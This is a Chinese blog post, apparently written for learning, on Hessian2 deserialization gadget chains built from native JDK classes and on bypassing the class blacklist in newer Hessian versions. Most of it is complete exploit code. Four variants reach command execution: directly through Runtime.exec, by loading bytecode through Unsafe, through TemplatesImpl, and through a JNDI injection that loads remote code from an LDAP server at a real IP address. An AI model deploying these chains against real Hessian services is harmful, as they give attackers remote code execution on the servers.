【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过

2024-03-21 08:52

本文主要是介绍【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前言

原理分析

EXP

Hessian2 低版本

直接Runtime命令执行

Hessian2 高版本

利用Unsafe加载恶意字节码+二次调用触发初始化

利用TemplatesImpl实例化恶意类

jdk高版本打JNDI


前文:【Web】浅聊Hessian异常toString姿势学习&复现

前言

上篇文章介绍了Hessian2异常触发toString,“触发toString方法便可生万物,而后打法无穷也”

很容易想到常见的 Rome、XBean 等 toString,若目标环境没有这些依赖呢,有无原生jdk链子打呢?🧐

还真有,服辣服辣!感谢p4d0rn大师傅带我飞😍&下面一起来学习大佬的姿势😀

原理分析

利用链

javax.activation.MimeTypeParameterList#toString
    UIDefaults#get
        UIDefaults#getFromHashTable
            UIDefaults$LazyValue#createValue
                SwingLazyValue#createValue
                    sun.reflect.misc.MethodUtil#invoke

Hessian2触发toString后,在原生jdk环境下如何找到toString恶意利用类呢

我们关注到javax.activation.MimeTypeParameterList#toString,其调用了this.parameters#get

public String toString() {StringBuffer buffer = new StringBuffer();buffer.ensureCapacity(this.parameters.size() * 16);Enumeration keys = this.parameters.keys();while(keys.hasMoreElements()) {String key = (String)keys.nextElement();buffer.append("; ");buffer.append(key);buffer.append('=');buffer.append(quote((String)this.parameters.get(key)));}return buffer.toString();}

注意到parameters类型为Hashtable 

而UIDefaults正好继承了Hashtable

跟进UIDefaults#get

public Object get(Object key) {Object value = getFromHashtable( key );return (value != null) ? value : getFromResourceBundle(key, null);}

调用了UIDefaults#getFromHashtable,最后进到LazyValue#createValue,这里找到了合适的SwingLazyValue

public Object createValue(UIDefaults var1) {try {ReflectUtil.checkPackageAccess(this.className);Class var2 = Class.forName(this.className, true, (ClassLoader)null);Class[] var3;if (this.methodName != null) {var3 = this.getClassArray(this.args);Method var6 = var2.getMethod(this.methodName, var3);this.makeAccessible(var6);return var6.invoke(var2, this.args);} else {var3 = this.getClassArray(this.args);Constructor var4 = var2.getConstructor(var3);this.makeAccessible(var4);return var4.newInstance(this.args);}} catch (Exception var5) {return null;}}

这段代码使用了反射机制动态实例化对象或调用类静态方法

tips:

当使用 Class.forName() 方法加载类时,如果没有指定类加载器,即传入 null 作为类加载器的参数,系统将使用默认的类加载器(通常是定义该调用的类的类加载器)来加载目标类。具体表现如下:

  1. 如果当前类路径中能够找到指定名称的类,那么该类将被加载并返回对应的 Class 对象。
  2. 如果当前类路径中找不到指定名称的类,或者出现其他加载错误,将会抛出 ClassNotFoundException 异常。

就是说靶机classpath下没有的类,我们不能实例化,可利用性不强

所以考虑走类静态方法的调用

关注到sun.reflect.misc.MethodUtil#invoke是个静态方法

public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {try {return bounce.invoke((Object)null, var0, var1, var2);}

这段代码使用了反射机制动态调用指定方法,通过传入方法对象、目标对象和参数数组来实现方法的调用

MethodUtil#invoke可以调用任意类的任意方法,这不就易如反掌易如反掌了嘛(🤔

EXP

Hessian2 低版本

直接Runtime命令执行

导入pom依赖

<dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.38</version></dependency>

弹计算器的神奇咒语 

package com.Hessian;import com.caucho.hessian.io.*;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class EXP {public static void ser(Object evil) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializablebaos.write(67);output.writeObject(evil);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void main(String[] args) throws Exception {UIDefaults uiDefaults = new UIDefaults();Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});uiDefaults.put("xxx", slz);MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);ser(mimeTypeParameterList);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

Hessian2 高版本

Hessian2 4.0.63版本在获取反序列化器时会走com.caucho.hessian.io.ClassFactory#isAllow对类进行检查,判断类是否允许被反序列化

黑名单如下

既然MethodUtil#invoke可以调用任意类的任意方法,要RCE就要RCE地彻底,可以采用加载恶意类字节码的手段

接下来介绍两种方法:

利用Unsafe加载恶意字节码+二次调用触发初始化

 sun.misc.Unsafe · 攻击Java Web应用-[Java Web安全]

注意Unsafe#defineClass不会对类进行初始化,所以需要调用两次,在恶意类里添加一个静态方法,第一次先加载恶意类,第二次调用恶意类从而初始化执行静态代码块

 

导入pom依赖

<dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency>

弹计算器的神奇咒语(第一次报错就会退出程序,所以要try catch surround一下)

package com.Hessian;import com.caucho.hessian.io.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import sun.misc.Unsafe;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;public class EXP2 {public static byte[] getPayload() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtMethod staticInitializer = CtNewMethod.make("public static void exp() { Runtime.getRuntime().exec(\"calc\"); }", clazz);clazz.addMethod(staticInitializer);return clazz.toBytecode();}public static Object loadClass() throws Exception {UIDefaults uiDefaults = new UIDefaults();Class<?> clazz = Class.forName("sun.misc.Unsafe");Field field = clazz.getDeclaredField("theUnsafe");field.setAccessible(true);Unsafe unsafe = (Unsafe) field.get(null);Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);byte[] bytes = getPayload();Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{defineClass, unsafe, new Object[]{"a", bytes, 0, bytes.length, null, null}}});uiDefaults.put("xxx", slz);MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);return mimeTypeParameterList;}public static Object initClass() throws Exception {UIDefaults uiDefaults = new UIDefaults();SwingLazyValue slz = new SwingLazyValue("a", "exp", new Object[0]);uiDefaults.put("xxx", slz);MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);return mimeTypeParameterList;}public static void ser(Object evil) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializablebaos.write(67);output.writeObject(evil);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void main(String[] args) throws Exception {try {ser(loadClass());} catch (Exception e) {ser(initClass());}}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

利用TemplatesImpl实例化恶意类

这个相对更好理解一些,缝就完了

package com.Hessian;import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class EXP2 {public static Object loadClass() throws Exception {UIDefaults uiDefaults = new UIDefaults();String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload = classPool.makeClass("Z3r4y");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes = payload.toBytecode();Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Method newTransformer = Class.forName(TemplatesImpl).getDeclaredMethod("newTransformer");setFieldValue(templates, "_bytecodes", new byte[][]{bytes});setFieldValue(templates, "_name", "test");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{newTransformer, templates, new Object[]{}}} );uiDefaults.put("xxx", slz);MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);return mimeTypeParameterList;}public static void ser(Object evil) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializablebaos.write(67);output.writeObject(evil);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void main(String[] args) throws Exception {try {ser(loadClass());} catch (Exception e) {}}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

jdk高版本打JNDI

高版本的JDK有JNDI限制的原因是trustURLCodebase默认为false

java.lang.System#setProperty方法用于设置系统属性。该方法允许在运行时更改系统的属性值。

我们可以此方法将对应版本的trustURLCodebase设置为true,绕过JNDI限制

再调用InitialContext#doLookup实现JNDI注入

package com.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class EXP4 {public static void main(String[] args) throws Exception {UIDefaults uiDefaults1 = new UIDefaults();UIDefaults uiDefaults2 = new UIDefaults();Method setProperty = Class.forName("java.lang.System").getDeclaredMethod("setProperty", String.class, String.class);Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);SwingLazyValue slz1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});Method doLookup = Class.forName("javax.naming.InitialContext").getDeclaredMethod("doLookup", String.class);SwingLazyValue slz2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://124.222.136.33:1337/#suibian"}}});uiDefaults1.put("xxx", slz1);MimeTypeParameterList mimeTypeParameterList1 = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList1, "parameters", uiDefaults1);uiDefaults2.put("xxx", slz2);MimeTypeParameterList mimeTypeParameterList2 = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList2, "parameters", uiDefaults2);try {ser(mimeTypeParameterList1);} catch (Exception e) {ser(mimeTypeParameterList2);}}public static void ser(Object evil) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializablebaos.write(67);output.writeObject(evil);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

这篇关于【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/832273

相关文章

IDEA如何切换数据库版本mysql5或mysql8

《IDEA如何切换数据库版本mysql5或mysql8》本文介绍了如何将IntelliJIDEA从MySQL5切换到MySQL8的详细步骤,包括下载MySQL8、安装、配置、停止旧服务、启动新服务以及... 目录问题描述解决方案第一步第二步第三步第四步第五步总结问题描述最近想开发一个新应用,想使用mysq

java脚本使用不同版本jdk的说明介绍

《java脚本使用不同版本jdk的说明介绍》本文介绍了在Java中执行JavaScript脚本的几种方式,包括使用ScriptEngine、Nashorn和GraalVM,ScriptEngine适用... 目录Java脚本使用不同版本jdk的说明1.使用ScriptEngine执行javascript2.

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

Debian如何查看系统版本? 7种轻松查看Debian版本信息的实用方法

《Debian如何查看系统版本?7种轻松查看Debian版本信息的实用方法》Debian是一个广泛使用的Linux发行版,用户有时需要查看其版本信息以进行系统管理、故障排除或兼容性检查,在Debia... 作为最受欢迎的 linux 发行版之一,Debian 的版本信息在日常使用和系统维护中起着至关重要的作

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

SpringBoot实现基于URL和IP的访问频率限制

《SpringBoot实现基于URL和IP的访问频率限制》在现代Web应用中,接口被恶意刷新或暴力请求是一种常见的攻击手段,为了保护系统资源,需要对接口的访问频率进行限制,下面我们就来看看如何使用... 目录1. 引言2. 项目依赖3. 配置 Redis4. 创建拦截器5. 注册拦截器6. 创建控制器8.

React实现原生APP切换效果

《React实现原生APP切换效果》最近需要使用Hybrid的方式开发一个APP,交互和原生APP相似并且需要IM通信,本文给大家介绍了使用React实现原生APP切换效果,文中通过代码示例讲解的非常... 目录背景需求概览技术栈实现步骤根据 react-router-dom 文档配置好路由添加过渡动画使用

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

你的华为手机升级了吗? 鸿蒙NEXT多连推5.0.123版本变化颇多

《你的华为手机升级了吗?鸿蒙NEXT多连推5.0.123版本变化颇多》现在的手机系统更新可不仅仅是修修补补那么简单了,华为手机的鸿蒙系统最近可是动作频频,给用户们带来了不少惊喜... 为了让用户的使用体验变得很好,华为手机不仅发布了一系列给力的新机,还在操作系统方面进行了疯狂的发力。尤其是近期,不仅鸿蒙O

什么是 Ubuntu LTS?Ubuntu LTS和普通版本区别对比

《什么是UbuntuLTS?UbuntuLTS和普通版本区别对比》UbuntuLTS是Ubuntu操作系统的一个特殊版本,旨在提供更长时间的支持和稳定性,与常规的Ubuntu版本相比,LTS版... 如果你正打算安装 Ubuntu 系统,可能会被「LTS 版本」和「普通版本」给搞得一头雾水吧?尤其是对于刚入